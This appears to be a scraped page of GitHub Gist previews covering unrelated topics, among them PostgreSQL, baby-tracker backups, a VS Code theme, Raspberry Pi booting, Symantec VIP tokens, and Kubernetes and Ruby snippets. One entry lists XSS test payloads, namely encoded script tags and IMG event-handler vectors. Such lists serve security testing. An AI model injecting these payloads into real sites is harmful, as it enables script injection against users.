cpursley

PostgreSQL is Enough

• Simplify: move code into database functions
• Just Use Postgres for Everything
• Just use Postgres
• PostgreSQL is the worlds’ best database
• Postgres is eating the database world
• Hacker News discussion

Background and Cron Jobs

ozbe

Access Nighp Baby Tracker Data from Latest Backup on a Mac

Software Used

• iTerm (and the utilities it offers) - You can use Terminal or even Finder with Archive Utility to extract data
• sqlite3 cli - You can use any client that supports sqlite to browse the database

Pre-reqs

• You must have iCloud Sync enabled in the Baby Tracker app
• You must be signed into iCloud on you Mac
• If you want the latest data from Baby Tracker, I’d recommend you do a manual backup from the Baby Tracker app

sbinlondon

Get the synth wave glow working for VS Code on Mac

These notes are pretty much the same steps as the two extensions list, it's just that I had to collate them together because neither seems to list it fully in the proper order.

1. Install Synthwave ’84/Synthwave + Fluoromachine theme on VS Code (I used the Fluoromachine one)

2. Install Custom CSS and JS Loader

3. Command + Shift + P to open command palette > "Preferences: Open settings (JSON)"

lucabelluccini

Raspberry 4B - Boot from SD and rootfs on USB

Update

RPi4 now supports booting directly from USB. First update to get an eeprom which supports USB Boot, then configure the bootloader to boot from USB.

Original guide

1. Download Raspbian from the official site

jarbro

Generate Symantec VIP Access Token as OTP

Recently I came across a web service that required two-factor authentication using the Symantec VIP Access App. I already manage all of my OTP tokens in a different app (If you are on iOS I highly recommend using OTP Auth by Roland Moers.) and did not want to have to use yet another app to generate the TOTP.

There is a way to generate a Symantec VIP Access compatible token very easily if you have access to an environment which can run Python PIP. I happen to have Ubuntu Windows Subsystem Linux running on my machine. (If you are running Windows 10 and don't have this you should really check it out.) Let's get started...

hello

Instructions

Here we install python3-pip and qrencode so we can generate our secret, I

tkuther

apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
  name: filebeat
  namespace: kube-system
  labels:
    k8s-app: filebeat
spec:
  template:
    metadata:

alexandru-calinoiu

class Enqueue
  include Dry::Monads::Either::Mixin
  include IngestService::Import['enqueue']

  def call(step, input, *args)
    enqueue.call(step.operation_name, input, args)
    Right(input)
  end
end

kurobeats

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

kamaljoshi

# Except sqlite3 all the libraries are standard that should be present with a Ruby installation.
# If you don't have sqlite3 installed. Use `gem install sqlite3`

require 'fileutils'
require 'sqlite3'
require 'uri'
require 'net/http'
require 'set'
require 'thread'

kickscondor

//
// slotmap.h
//
// A slot map type, based on Sean Barrett's stretchy_buffer, except with a fixed-size freelist, to
// reuse slots. So basically, the layout looks like this:
//
// | freelist (alloc * u32) | alloc | len | freelist_len | ... actual items ... |
//
// You can't 'push' on to the slot map. Everything is kept unordered.
// (So you'll need to used linked-list strategies or an external list to order this.)